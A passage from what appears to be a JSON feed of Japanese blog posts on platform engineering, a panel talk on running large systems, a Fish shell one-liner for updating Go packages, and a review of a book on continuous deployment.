it?」という問いかけから始め、内部向けのツールが「愛される」必要があるのかという根本的な疑問に対して、説得力のある回答を提示しています。この章では、プラットフォームが単に機能するだけでなく、ユーザーに愛される存在となることが、実は生産性向上の重要な指標となることを示しています。愛されるプラットフォームの本質著者は、日常生活で私たちが愛用する道具を例に挙げ、プラットフォームが「愛される」とはどういうことかを説明しています。私の経験でも、最も成功したプラットフォームは、必ずしも最も高価なものや機能が豊富なものではなく、特定の目的に対して適切に設計され、信頼性高く動作するものでした。特に印象的なのは、著者が生産性の直接的な測定の難しさに触れながら、「愛される」ことを生産性の代理指標として捉える視点です。私のチームでも、以前は定量的なメトリクスにこだわりすぎて、実際のユーザー体験を見失いかけた時期がありました。単純な採用率や効率性の指標に固執すると、プラットフォームチームが制御しやすいシステムを作ることに注力してしまい、実際のユーザーニーズを見失うという著者の指摘は、多くのプラットフォームチームが陥りがちな罠を的確に描写しています。「単に動く」から「愛される」への進化著者が紹介するAmazonのApolloプラットフォームの事例は、プラットフォームが「愛される」ために必要な要素を具体的に示しています。特に印象的なのは、優れたUIと自動化インターフェース、強い意見を持った設計、そして必要に応じて抽象化を「突き破れる」柔軟性という3つの特徴です。『INSPIRED 熱狂させる製品を生み出すプロダクトマネジメント』では、成熟したIT企業の製品開発に共通する3つの特徴として、リスクを開発の最終段階ではなく初期段階で積極的に特定・対処すること、製品の定義とデザインを順序立てて進めるのではなく協調的に同時進行させること、そして単なる機能実装ではなく本質的な問題解決にフォーカスすることを挙げています。また著者は、優れたプロダクトマネジャーの条件として、顧客、データ、自社ビジネス、そして市場・業界それぞれについての深い知見を持つことが不可欠だと説いています。こちらの方が良いでしょうか?プロダクトマネジメントの本質をよりシンプルに表現してみました。INSPIRED 熱狂させる製品を生み出すプロダクトマネジメント作者:マーティ・ケーガン,佐藤真治,関満徳日本能率協会マネジメントセンターAmazon私のチームでも、最近完了したコンテナオーケストレーションプラットフォームの刷新プロジェクトで、これらの原則を意識的に取り入れました。特に、「システムの状態をUIが正確に反映している」という信頼性の確保と、「特殊なケースにも対応できる拡張ポイントの提供」というバランスの取れた設計により、ユーザーからの高い評価を得ることができました。ハックのような解決策も愛される理由著者が紹介する「Waiter」プラットフォームの事例は、特に示唆に富んでいます。技術的には「ハック」のように見える実装でも、ユーザーの実際の問題を解決し、摩擦を最小限に抑えることができれば、強く支持される可能性があることを示しています。私の経験でも、「理想的」な設計からは外れるものの、ユーザーの具体的な課題を解決する実装が、結果として大きな価値を生み出すケースを何度か経験しました。例えば、あるマイクロサービスプラットフォームでは、理想的なマイクロサービスアーキテクチャの原則から外れる実装を許容することで、開発者の生産性を大幅に向上させることができました。明白な価値提供による信頼獲得著者が紹介するS3互換オブジェクトストアの事例は、既知の価値と適切な実装の組み合わせの重要性を示しています。特に重要なのは、認知度、互換性、エンジニアリング品質、市場投入までの時間という4つの要素です。これは、私が過去に経験した失敗から学んだ教訓とも一致します。章全体からの学びこの章の最も重要な教訓は、プラットフォームが「愛される」ということは、単なる感情的な問題ではなく、実際の生産性と価値創出に直結するという点です。特にSmruti Patelの「マルチツール」という比喩は、プラットフォームの本質を見事に表現しています。私の経験からも、最も成功したプラットフォームは、必ずしも最新のトレンドを追いかけたものではなく、基本的な信頼性を確保しながら、ユーザーの実際の問題を着実に解決していくアプローチを取ったものでした。愛されるプラットフォームを構築するには、技術的な卓越性だけでなく、ユーザーとの深い信頼関係の構築が不可欠です。これは一朝一夕には達成できませんが、継続的な改善と誠実な対話を通じて、確実に実現できる目標なのです。おわりに本書は、プラットフォームエンジニアリングという営みが、技術を極めることと人に寄り添うことの両立を求められる実践であることを、様々な現場での経験を通じて描き出しています。技術的な卓越性を追求しながらも、組織の変革に寄り添い、ステークホルダーとの信頼関係を育み、持続可能な文化を醸成していくという総合的な視点は、現代のソフトウェア開発組織が直面する本質的な課題に対する深い洞察を提供しています。プラットフォームエンジニアリングは、技術的な基盤を「作って終わり」にするのではなく、組織とともに成長し続ける生命体のような存在です。それは、日々の地道な技術の研鑽と、組織やユーザーのニーズへの繊細な理解が融合することで初めて、真の価値を生み出すことができます。本書は、その困難な実践に挑戦する人々にとって、同じ道を歩む先達からの贈り物となるでしょう。今後のソフトウェア開発において、プラットフォームエンジニアリングはますます重要な役割を担っていくことでしょう。しかし、その本質は変わることなく、技術を極めることと人に寄り添うことの両立にあり続けるはずです。本書で示された知見をもとに、各組織が自らの文脈に即した実践を積み重ね、技術と人間性が調和した真に価値あるプラットフォームエンジニアリングを実現していくことを願ってやみません。みなさん、最後まで読んでくれて本当にありがとうございます。途中で挫折せずに付き合ってくれたことに感謝しています。読者になってくれたら更に感謝です。Xまでフォロワーしてくれたら泣いているかもしれません。","isoDate":"2024-10-24T21:06:00.000Z","dateMiliSeconds":1729803960000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"「大規模システムの効率的運用の裏側」というイベントに登壇するのでどんなこと話すか整理する #aeon_tech_hub","link":"https://syu-m-5151.hatenablog.com/entry/2024/10/15/101516","contentSnippet":"大規模システム運用の難しさは、その規模と複雑性に起因します。開発する人も多く、運用に関わる人間も多く、そしてシステムの性能や信頼性を評価する人間も多数います。この多様な関係者の利害が複雑に絡み合う中、技術的な課題に加え、人的・組織的な課題も顕著になります。さらに、複雑に構成されたシステムコンポーネントと日々向き合いながら、刻々と変化するビジネスの要求に応えていく必要があります。これらの要因が重なり合い、大規模システムの運用を極めて困難なものにしているのです。aeon.connpass.comはじめにこのたび、2024年10月23日に開催予定の「<Platform Engineering、DevOps、CCoE>大規模システムの効率的運用の裏側」というイベントに登壇者としてお呼びいただきました。大規模システムの効率的運用は非常に複雑な課題であり、アンチパターンはあっても画一的な正解はないと考えています。時に、人的・組織的な制約から、アンチパターンと言われるような策を採用せざるを得ない状況もあるでしょう。システム運用アンチパターン ―エンジニアがDevOpsで解決する組織・自動化・コミュニケーション作者:Jeffery D. SmithオライリージャパンAmazonこのような複雑な背景を持つ大規模システムの運用について議論する機会をいただき、大変光栄に思うとともに、その難しさも痛感しております。このブログでは、イベントの概要をお伝えするとともに、私が登壇者として特に議論したいと考えているポイントをご紹介します。大規模システムの効率的な運用に関心のある方々に、このイベントが提供する価値と、当日予想される議論の展開について、参考情報を提供できればと思います。イベント概要と登壇の意気込み「大規模システムを少人数で効率的に、そして安全に運用する工夫」をテーマにしたパネルディスカッションに登壇することになりました。このイベントでは、大規模システムの効率的な運用に関する最新のトレンドと実践的なアプローチについて議論したいです。イベントで期待すること時間の制約があるため、全ての話題を深く掘り下げることは難しいですが、以下のような内容について議論できればと思っています。1. 運用設計の重要性の再確認大規模システムの運用における設計の重要性について、特にプロセスの標準化と自動化について様々な観点から議論が展開されることを期待しています。特に注目したいのは、継続的デリバリーに関する最新トレンドです。これらは、効率的な運用の基盤となるものであり、常に進化し続けています。同時に、効果的な監視(Monitoring)と観測可能性(Observability)確保のベストプラクティスも重要なトピックです。システムの健全性を常に把握し、問題を早期に発見・対処するための手法は、大規模システム運用の要となります。さらに、実際の現場での継続的改善サイクルの実践例と、それに伴う課題についても深く掘り下げたいと考えています。理論と実践のギャップを埋め、実効性のある改善活動を展開するための知見が共有されることを期待しています。最後に、大規模システム特有のリスク管理とインシデント対応の効果的アプローチについても議論したいと思います。予期せぬ障害や障害への迅速かつ適切な対応は、システムの信頼性維持に不可欠です。これらのトピックを通じて、参加者の皆様が自身の環境で「次に効率化に取り組むべき観点」を見出すヒントになればと思います。限られた時間ではありますが、できるだけ具体的な事例や実践的なアドバイスを共有できるよう努めたいと考えています。運用設計の重要性を再確認し、その効果的な実践方法について深い洞察を得られる場となることを目指したいです。2. 現代的アプローチによる大規模システム運用の効率化大規模システムの効率的な運用を実現するためには、Platform Engineering、DevOps、CCoE(Cloud Center of Excellence)、そしてSRE(Site Reliability Engineering)といった現代的なアプローチの統合的な活用が不可欠です。これらの概念は、それぞれが独自の強みを持ちながら、相互に補完し合うことで、システム運用の効率性と信頼性を大きく向上させます。これらをスピーカーの方々がどう展開していくか楽しみです。各概念については概要とおすすめ資料を貼っておきます。2.1 Platform EngineeringPlatform Engineeringは、開発者の生産性向上と業務効率化の要となる重要な分野です。議論の中心となるのは、開発者体験(Developer Experience)向上の具体的な方策です。これには、内部プラットフォーム構築のケーススタディやセルフサービス化によるデベロッパーの生産性向上が含まれます。また、プラットフォームの標準化と柔軟性のバランスを取ることの重要性も探ります。これらのトピックについて理解を深めるため、以下の資料も参考にしてほしいです。cloud.google.com speakerdeck.comlearning.oreilly.com speakerdeck.com2.2 DevOpsDevOpsの実践は、開発と運用の壁を取り払い、より効率的なシステム運用を実現します。ここでは、開発と運用の統合によるメリットと課題、CI/CDの最新プラクティスと導入のポイントについて議論したいです。「You build it, you run it」原則の実践方法や、自動化とツール化の成功事例も重要なトピックとなります。これらの議論を深めるため、以下の資料も参考にしてほしいです。learning.oreilly.comlearning.oreilly.comcloud.google.comweb.devopstopologies.comwww.ryuzee.com speakerdeck.com2.3 CCoE(Cloud Center of Excellence)CCoEは、組織全体のクラウド活用を最適化し、ガバナンスを確立する上で重要な役割を果たします。クラウドベストプラクティスの確立と普及方法、マルチクラウド環境でのガバナンス戦略、クラウドコスト最適化の具体的アプローチなどが主要な議論のポイントとなります。これらのトピックについて、以下の資料も参考にしてほしいです。aws.amazon.comtechblog.ap-com.co.jpDXを成功に導くクラウド活用推進ガイド CCoEベストプラクティス作者:黒須 義一,酒井 真弓,遠山 陽介,伊藤 利樹,饒村 吉晴日経BPAmazonca-srg.dev2.4 SRE(Site Reliability Engineering)[おまけ]SREは、システムの信頼性を維持しながら、イノベーションを促進するための重要な概念です。SLI(Service Level Indicator)とSLO(Service Level Objective)の効果的な設定と運用、エラーバジェットの活用による信頼性とイノベーションのバランス管理について議論したいです。また、トイル(反復的な手作業)の削減戦略とその効果、インシデント管理とポストモーテムの実践についても触れる予定です。これらのトピックについて、以下の資料も参考にしてほしいです。www.oreilly.co.jp speakerdeck.com speakerdeck.comsyu-m-5151.hatenablog.com各セッションでの私は、これらの資料を参考にしつつ、最新の事例や実践的なアプローチについて議論を展開したいです。参加者の皆様にとって、自組織での適用に役立つ具体的な知見を得られる機会となることを期待しています。3. 大規模システムの効率的運用の課題と対策についての議論大規模システムを少人数で効率的に運用するには、技術面だけでなく組織面での工夫も重要です。このセッションでは、実際の運用現場で直面する課題とその対策について、私の経験から得た洞察を共有します。これらのトピックについても登壇者や参加者の皆さまと当日お話ができれば嬉しいです。当日はおそらく具体性の高いテーマについてそれぞれ話すと思うのですが、ここでは私のスタンスを決めておくために抽象的な話をしたいと思います。具体と抽象作者:細谷 功dZERO(インプレス)Amazonまた、人の具体的な技術や現場の話を聞く時のコツは相手がどのような立場の人間でどういう悩みをもっているか想像したり知ることで理解が深まります。この点について、コミュニケーションの観点からさらに掘り下げると、以下のような考察ができます。相手の立場や悩みを想像することで理解が深まるのは、各個人が独自の知識体系や思考の枠組みを持ち、認知バイアスの影響を受けているため、効果的なコミュニケーションには相手の考えや感情を推測する能力と自己の思考を客観視する能力が重要だからです。これらの点を意識することで、大規模システムの運用に関する議論や情報共有がより実りあるものになると考えています。「何回説明しても伝わらない」はなぜ起こるのか? 認知科学が教えるコミュニケーションの本質と解決策作者:今井むつみ日経BPAmazon3.1 大規模システム運用の現実と組織的課題理想的な運用モデルと実際の運用現場のギャップについて考察したいです。理論と実践の乖離を埋めるための具体的なアプローチや、現場の声を活かした運用モデルの最適化事例を聞きたいです。また、少人数チームでの大規模システム運用における組織的な課題とその解決策を探りたいです。リソース制約下での効果的なタスク分配と優先順位付け、クロスファンクショナルスキルの育成による柔軟な人員配置などが重要なポイントとなります。チームトポロジー 価値あるソフトウェアをすばやく届ける適応型組織設計作者:マシュー・スケルトン,マニュエル・パイス日本能率協会マネジメントセンターAmazon3.2 効率的な運用を支える組織文化の構築HRT(Humility, Respect, Trust)原則を基盤とした少人数チームの強化方法について議論したいです。チーム内でのオープンなフィードバック文化の醸成や、相互理解と信頼関係を深めるためのチームビルディング活動の重要性を強調したいです。さらに、システム/サービスの価値を組織全体で共有するための効果的なコミュニケーション手法を探りたいです。定期的な全体会議やニュースレターを活用した情報共有、ビジュアライゼーションツールを用いたシステム価値の可視化などが具体的な方策となります。Team Geek ―Googleのギークたちはいかにしてチームを作るのか作者:Brian W. Fitzpatrick,Ben Collins-SussmanオライリージャパンAmazon3.3 段階的アプローチによる運用改善と組織変革スモールスタートの重要性と組織全体への展開方法を議論したいです。パイロットプロジェクトの選定と成功事例の横展開、段階的な改善プロセスの設計と各フェーズでの評価指標の設定などが重要です。また、少人数チームでの定点観測会の効果的な運営とステークホルダーマネジメントについて考察したいです。データ駆動型の定点観測会の実施方法と成果の可視化、ステークホルダーの期待値管理と効果的な報告体制の構築などが焦点となります。業務改革の教科書--成功率9割のプロが教える全ノウハウ (日本経済新聞出版)作者:白川克,榊巻亮日経BPAmazon3.4 大規模システムの効率的な運用設計と組織的活用少人数チームの生産性を向上させる運用設計の実践事例を聞きたいです。標準化されたプロセスとツールの導入によるチーム効率の向上、自動化を活用した日常的なオペレーションの効率化、チーム間のナレッジ共有を促進する仕組みづくりなどが重要なポイントです。また、組織の成長に合わせた運用設計の進化と最適化について議論したいです。スケーラブルな運用モデルの設計と段階的な導入方法、変化する事業ニーズに柔軟に対応できる運用設計のアプローチ、継続的な改善サイクルを組み込んだ運用設計プロセスの確立などが焦点となります。「変化を嫌う人」を動かす: 魅力的な提案が受け入れられない4つの理由作者:ロレン・ノードグレン,デイヴィッド・ションタル草思社Amazon3.5 技術的改善の価値を組織全体で共有する方法「信頼性は会話です」という考え方を組織文化に組み込む実践例を聞きたいです。定期的な信頼性レビュー会議の実施と改善点の共有、チーム横断的な信頼性向上タスクフォースの設置などが具体的な方策となります。また、ITIL 4フレームワークを活用した組織横断的な価値創出事例を共有し、ITILのベストプラクティスを組織の特性に合わせてカスタマイズする方法やサービス価値システムの構築と継続的な最適化プロセスについて議論したいです。さらに、少人数チームの技術的改善を経営層に効果的に伝えるテクニックを探りたいです。ビジネス指標と技術指標を紐付けた改善効果の可視化、経営層向けダッシュボードの設計と定期的な報告会の実施などが重要なポイントとなります。【ITIL4公認】ITIL 4の基本 図解と実践作者:中 寛之日経BPAmazon3.6 継続的な改善を推進する組織体制の構築「始めるより続けることの方が難しい」という現実に対する組織的アプローチを議論したいです。長期的な改善ロードマップの設計と定期的な見直しプロセス、改善活動の成果を評価・表彰する仕組みの導入などが焦点となります。また、少人数チームでの理論、実践、モチベーションのバランスを保つ具体的な方法を探りたいです。学習と実践のサイクルを組み込んだ業務設計、チーム内でのスキルマトリクスの活用と成長機会の創出などが重要なポイントです。企業変革のジレンマ 「構造的無能化」はなぜ起きるのか作者:宇田川元一日経BPAmazon3.7 運用原則の組織への効果的な導入新しい運用原則の導入事例と組織全体への展開方法を聞きたいです。運用原則の核心的要素の段階的導入計画(例:SREの場合のエラーバジェット概念)、新しい運用文化の醸成とエンジニアリング組織全体への浸透策、様々な運用原則(SRE、DevOps、ITIL等)の基本概念を組織に適用する方法などが焦点となります。また、定量的指標を活用した組織的な意思決定プロセスについて議論し、サービスレベル目標(例:SLO)の設定プロセスとステークホルダーとの合意形成手法、リスクベースの優先順位付けと資源配分のための指標活用(例:エラーバジェット)などを探りたいです。さらに、インシデント管理と事後分析を組織の学習文化に組み込む方法を考察し、責任追及ではなく改善を重視する文化を醸成するための事後分析ガイドラインの策定、インシデントからの学びを組織知識として蓄積・活用するナレッジマネジメントシステムの構築などについて議論したいです。【改訂新版】システム障害対応の教科書作者:木村 誠明技術評論社Amazon大規模システムの効率的な運用は、技術と組織の両面からのアプローチが不可欠です。少人数チームでの運用という制約の中で、いかに組織の力を最大限に引き出し、システムの安定性と効率性を両立させるか。この課題に対する様々な視点と解決策について、参加者の皆様と活発な議論ができることを楽しみにしています。おわりにこのイベントが、大規模システムの効率的な運用に関する深い洞察と実践的な知見を共有される場となることを強く期待しています。Platform Engineering、DevOps、CCoE、SREの概念を適切に組み合わせ、各組織の特性に合わせてカスタマイズする方法について、参加者全員で活発な議論ができることを楽しみにしています。大規模システムの運用の正解は常に変化し続けるものです。このイベントでの学びを通じて、参加者それぞれが自社のシステム運用を見直し、改善していくきっかけになれば幸いです。登壇者の一人として、皆様と直接対話し、互いの経験や知見を共有できることを心から楽しみにしています。ぜひ多くの方にご参加いただき、一緒に大規模システムの効率的な運用について語り合いましょう!イベントの詳細や参加方法については、イベント公式ページをご確認ください。皆様のご参加を心よりお待ちしております。なお、このブログは私の思いつくままに書いたため、やや散文的になってしまいました。しかし、ここに記した考えや情報が、大規模システムの運用に関わる方々にとって何かしらの参考になれば幸いです。私自身、このイベントを通じてさらに学びを深め、より洗練された見解を得られることを楽しみにしています。www.youtube.com","isoDate":"2024-10-15T01:15:16.000Z","dateMiliSeconds":1728954916000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"FishでGoパッケージを一括更新したいのでワンライナー","link":"https://syu-m-5151.hatenablog.com/entry/2024/10/09/180510","contentSnippet":"はじめにGoプログラマーにとって、パッケージを最新の状態に保つことは重要な作業だ。しかし、複数のパッケージを個別に更新するのは時間がかかり、効率が悪い。そこで今回は、Fishシェルを使用してGoパッケージを一括更新する堅牢なワンライナーを紹介する。このワンライナーは、様々な環境設定に対応できる柔軟性を持ち、効率的にパッケージを更新できる強力なツールだ。ワンライナーの全容まずは、このワンライナーの全体像を見てみよう。set -l gobin (go env GOBIN); test -z \"$gobin\" && set gobin (go env GOPATH)/bin; for f in $gobin/*; if test -x $f; set pkg (go version -m $f | awk '/mod /{print $2}'); test -n \"$pkg\" && go install \"$pkg@latest\"; end; end一見複雑に見えるこのコマンドだが、実は論理的に構成された複数の処理の組み合わせである。以下、各部分の役割と動作原理を詳しく解説していく。ワンライナーの解剖dic.pixiv.net1. GOBINの設定と確認set -l gobin (go env GOBIN); test -z \"$gobin\" && set gobin (go env GOPATH)/bin;この部分は、Goバイナリのインストール先ディレクトリを特定する役割を果たす。set -l gobin (go env GOBIN):GOBINの値を取得し、ローカル変数gobinに格納する。test -z \"$gobin\" && set gobin (go env GOPATH)/bin:gobinが空の場合(つまりGOBINが設定されていない場合)、GOPATH/binをデフォルトとして使用する。この処理により、GOBINの設定の有無に関わらず適切なディレクトリを使用できる柔軟性を確保している。2. ディレクトリ内のファイル処理for f in $gobin/*; ...; end$gobinディレクトリ内の全ファイルに対してループ処理を行う。これにより、インストールされている全てのGoバイナリを対象に処理を実行できる。3. 実行可能ファイルの選別if test -x $f; ...; endtest -x $fで、ファイル$fが実行可能かどうかをチェックする。これにより、実行可能なバイナリファイルのみを処理対象とし、不要なファイルを除外している。4. パッケージ情報の抽出set pkg (go version -m $f | awk '/mod /{print $2}')go version -m $fコマンドでバイナリファイルのモジュール情報を取得し、awkコマンドを使用してパッケージ名を抽出する。この結果をpkg変数に格納する。5. パッケージの更新test -n \"$pkg\" && go install \"$pkg@latest\"pkg変数が空でないことを確認し、有効なパッケージ名が得られた場合のみgo install \"$pkg@latest\"を実行して最新バージョンにアップデートする。このワンライナーの利点環境適応性: GOBINの設定の有無に関わらず動作する。安全性: 実行可能ファイルのみを処理し、有効なパッケージ名が得られた場合のみ更新を試みる。効率性: 一行で全ての処理を完結させ、高速に実行できる。汎用性: 様々なGo開発環境で使用できる。使用上の注意点このワンライナーは、Fishシェル専用である。Bash等の他のシェルでは動作しない。GOPATHが正しく設定されていることを前提としている。大量のパッケージがある場合、実行に時間がかかる可能性がある。まとめ本記事で紹介したワンライナーは、Goプログラマーの日常的なタスクを大幅に簡略化し、開発環境を最新に保つ強力なツールとなる。環境設定の違いに柔軟に対応し、安全かつ効率的にパッケージを更新できる点が大きな魅力だ。このワンライナーを自分の開発フローに組み込むことで、常に最新のGoパッケージを使用した、より効率的で安全な開発が可能になる。ぜひ試してみてほしい。Goプログラミングの世界は日々進化している。このワンライナーを活用し、最新の機能や改善を逃さず、より良いコードを書く手助けとしてほしい。他にいい方法があればおしえてください。","isoDate":"2024-10-09T09:05:10.000Z","dateMiliSeconds":1728464710000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"継続的デプロイメントの継続的な学習 - Continuous Deployment の読書感想文","link":"https://syu-m-5151.hatenablog.com/entry/2024/10/02/080453","contentSnippet":"自動化は私の忍耐力の限界を補完してくれます。はじめに本書「Continuous Deployment」は、継続的デプロイメントの実践に焦点を当てた包括的なガイドです。継続的デプロイメントは、ソフトウェアパイプラインを完全に自動化し、手動介入を必要としない手法です。この方法により、クオリティーゲートを通過したすべてのコードコミットが自動的に本番環境にデプロイされます。私は、ソフトウェア開発の現場で、オンプレミスの手動デプロイから始まり、Makefileによる自動化、JenkinsやCircleCI、GitHub Actions、GitLab CI/CD、AWS CodePipeline、Cloud Build 、ArgoCD、PipeCDなど、様々なツールや手法を経験してきました。この過程で、継続的デプロイメントが開発プロセスを改善し、ビジネス価値を創出する様子を目の当たりにしました。継続的デプロイメントは、継続的インテグレーション(CI)と継続的デリバリー(CD)の実践をさらに進めたものです。CIは開発者のコード変更を頻繁にメインブランチに統合し、CDはそのコードをいつでもリリース可能な状態に保ちます。継続的デプロイメントでは、すべての変更が自動的に本番環境にデプロイされます。開発者がコードをメインブランチにプッシュまたはマージすると、自動化されたパイプラインがそのコードをビルド、テスト、本番環境へデプロイします。人間による最終承認のステップは存在せず、品質チェックをパスしたすべての変更が即座に本番環境に反映されます。Continuous Deployment: Enable Faster Feedback, Safer Releases, and More Reliable Software作者:Servile, ValentinaO'Reilly MediaAmazon本書は、継続的デプロイメントの理論的基礎から実践的適用まで幅広く網羅しています。各章の概念や戦略は、業界の専門家たちの知見に基づいています。特に、フィーチャーフラグ、カナリーリリース、A/Bテストなどの手法は、現代のソフトウェア開発に不可欠です。継続的デプロイメントの価値は、ソフトウェア開発の特性と人間の性質を理解することで明確になります。ソフトウェア開発は多くの小規模で反復的なタスクの集合体です。例えば、設定ファイルの更新後のコード自動生成、コード変更後のビルドとテスト実行、テスト結果のレポート作成、リリース用ファイルの準備とパッケージングなどです。人間はこのような単調な反復作業を得意としません。創造的思考や問題解決には長けていますが、同じタスクを正確に繰り返すことは苦手です。時間とともに集中力が低下し、作業の精度も落ちます。一方、コンピューターシステムはこの種の反復作業に適しています。与えられた指示を疲れることなく、一定の精度で遂行できます。継続的デプロイメントは、人間と機械の特性の違いを活かし、相互補完的に活用します。コード変更から本番環境へのデプロイまでを完全に自動化することで、開発者は創造的な問題解決に注力でき、反復的なタスクはシステムに任せることができます。結果として、ソフトウェア開発プロセス全体の効率が向上し、人的ミスのリスクも減少します。本書は、技術的側面だけでなく、組織文化やチーム間の協力体制についても掘り下げています。また、継続的デプロイメントがもたらすソフトウェアのリリースサイクルの短縮や、ユーザーへのフィードバックループの最小化についても解説しています。同時に、この手法がコードの品質管理やテスト戦略により高い要求を課すことも重要です。本書では、強固な自動テスト、モニタリング、迅速なロールバック機能など、継続的デプロイメントを成功させるために不可欠な安全策についても説明しています。この本を通じて、継続的デプロイメントの本質を理解し、プロジェクトや組織に適用するための実践的なアイデアを得ることができます。以下に、私の読書体験と個人的な見解を交えた感想文を記します。この本は、継続的デプロイメントの理念と実践について詳しく解説しています。技術的な手法の説明だけでなく、ソフトウェア開発の本質と人間の特性を考慮した、効果的な開発プロセスの構築方法を提示しています。私自身、この本を通じて継続的デプロイメントの価値を再認識し、新たな視点を得ることができました。この本は、ソフトウェア開発の将来を示唆する重要な一冊だと確信しています。そのため、来年の「このSRE本がすごい!」にも追加したいと考えています。syu-m-5151.hatenablog.comこの本を通じて、継続的デプロイメントの意義を理解し、開発プロセスを改善するヒントを見出せることを願っています。I. Continuous DeploymentChapter 1. Continuous Deployment第1章「Continuous Deployment」は、継続的デプロイメントの基本概念から始まり、その歴史的背景、重要性、実践哲学、そして「効果的な」継続的デプロイメントの特性に至るまで、幅広いトピックをカバーしています。この章を通じて、継続的デプロイメントの本質と、それがソフトウェア開発においてどのような役割を果たすかを明確に示しています。継続的デプロイメントの進化と重要性ソフトウェア開発の歴史を振り返ることから始め、かつては月単位や年単位でリリースが行われていた時代から、現在の日次または週次リリースへの変遷を説明しています。この変化は、ビジネスニーズの変化に迅速に対応する必要性から生まれたものです。Figure 1-1. The typical path to production before the early 2000s より引用特に印象的だったのは、「If it hurts, do it more often:痛いなら、もっと頻繁にやればいい」というeXtreme Programming (XP)の原則です。この原則は、痛みを伴うプロセス(例えば、デプロイメント)を頻繁に行うことで、そのプロセスを改善し、最終的には痛みを軽減できるという考え方です。継続的デプロイメントの基本的な思想を表していると言えます。この原則は、私自身の経験とも非常に共鳴します。例えば、以前参加していたプロジェクトでは、月に1回の大規模なリリースが常にストレスフルで、多くのバグや障害を引き起こしていました。そこで、我々はリリース頻度を週1回に増やし、各リリースの規模を小さくしました。最初は大変でしたが、徐々にプロセスが改善され、最終的にはリリース作業が日常的な業務の一部になりました。これにより、バグの早期発見や迅速な修正が可能になり、システムの安定性が大幅に向上しました。DevOpsとの関連性DevOpsの概念と継続的デプロイメントの関係性についても詳しく説明しています。DevOpsは、開発(Dev)と運用(Ops)の壁を取り払い、両者の協力を促進する文化や実践を指します。継続的デプロイメントを実現する上で不可欠な要素です。DevOpsの実践は、継続的デプロイメントを支える重要な基盤となります。例えば、インフラストラクチャのコード化(Infrastructure as Code)は、環境の一貫性を保ち、デプロイメントの自動化を可能にします。また、モニタリングやロギングの改善は、迅速なフィードバックループを確立し、問題の早期発見と解決を支援します。私の経験から、DevOpsの実践は継続的デプロイメントの成功に不可欠だと強く感じています。以前、開発チームと運用チームが分断されていた組織で働いていましたが、デプロイメントの度に混乱が生じ、問題の解決に時間がかかっていました。DevOpsの原則を導入し、両チームが協力してデプロイメントパイプラインを設計・実装することで、プロセスが大幅に改善されました。特に、開発者が運用の視点を持ち、運用チームが開発プロセスを理解することで、より堅牢で管理しやすいシステムが構築できるようになりました。継続的インテグレーションと継続的デリバリー継続的インテグレーション(CI)と継続的デリバリー(CD)について詳しく説明し、これらが継続的デプロイメントの前身となる重要な実践であることを強調しています。CIは、開発者の変更を頻繁にメインブランチに統合する実践です。これにより、統合の問題を早期に発見し、修正することが可能になります。CDは、CIをさらに発展させ、ソフトウェアをいつでもリリース可能な状態に保つ実践です。この辺は読んだことがない場合にはこちらの書籍がおすすめである。Grokking Continuous Delivery (English Edition)作者:Wilson, ChristieManningAmazon日本語版もあるので入門 継続的デリバリー ―テストからリリースまでを安全に自動化するソフトウェアデリバリーのプロセス作者:Christie WilsonオライリージャパンAmazonこれらの説明は、経験してきたCIとCDの導入過程と非常に一致しています。例えば、以前のプロジェクトでは、開発者が長期間にわたって個別のブランチで作業し、統合時に大きな問題に直面することがよくありました。CIを導入し、小さな変更を頻繁に統合するようにしたことで、これらの問題は大幅に減少しました。CDの導入は、さらに大きな変化をもたらしました。以前は、リリース前の数日間を集中的なテストとバグ修正に費やしていましたが、CDを導入することで、ソフトウェアが常にリリース可能な状態を維持できるようになりました。これにより、リリースのストレスが大幅に軽減され、新機能や修正をより迅速にユーザーに届けられるようになりました。継続的デプロイメントの定義と実装継続的デプロイメントを「コミットがメインブランチにプッシュまたはマージされると、すべてのクオリティーゲートが緑色である限り、必ず本番デプロイメントが行われる」と定義しています。CI/CDの次の進化段階と言えるでしょう。Figure 1-2. The typical path to production today より引用継続的デプロイメントの実装は、一見シンプルに見えます。著者が説明するように、既存のCDパイプラインの本番デプロイメントステップを再構成するだけで済む場合が多いからです。しかし、これは技術的な実装の話で、課題は組織文化や開発プラクティスの変革にあります。私の経験から、継続的デプロイメントへの移行は技術的な課題よりも、組織的・文化的な課題の方が大きいと感じています。例えば、あるプロジェクトで継続的デプロイメントを導入しようとした際、技術的な準備は比較的容易でしたが、チームメンバーの不安やステークホルダーの抵抗に直面しました。特に、「本番環境に直接デプロイすることの危険性」や「品質管理の不安」といった懸念が大きかったです。これらの課題を克服するためには、段階的なアプローチと綿密なコミュニケーションが不可欠でした。まず、小規模なサービスから始めて成功事例を作り、徐々に規模を拡大していきました。また、自動テストの拡充や監視の強化を行い、問題が発生しても迅速に検知・対応できる体制を整えました。さらに、チーム全体でのレビュープロセスの改善や、フィーチャーフラグの活用など、コードの品質を担保するための施策も導入しました。継続的デプロイメントの影響と課題継続的デプロイメントの採用が開発プロセス全体に与える影響について詳しく説明しています。例えば、未完成のコードの隠蔽方法、後方互換性の確保、他の本番サービスとの契約の維持、デプロイメントとフィーチャーリリースの分離などの課題が挙げられています。これらの課題は、私の経験とも深く共鳴します。例えば、継続的デプロイメントを導入した際、未完成の機能をどのように本番環境に安全にデプロイするかが大きな課題となりました。この問題に対処するため、我々はフィーチャーフラグを積極的に活用し、コード自体は本番環境にデプロイしつつ、機能の有効化は制御できるようにしました。これにより、大規模な変更でも段階的なロールアウトが可能になり、リスクを最小限に抑えることができました。また、後方互換性の確保も重要な課題でした。特に、マイクロサービスアーキテクチャを採用している環境では、サービス間の整合性を維持することが不可欠です。この課題に対しては、APIのバージョニング戦略の導入や、コンシューマー駆動契約テスト(Consumer-Driven Contract 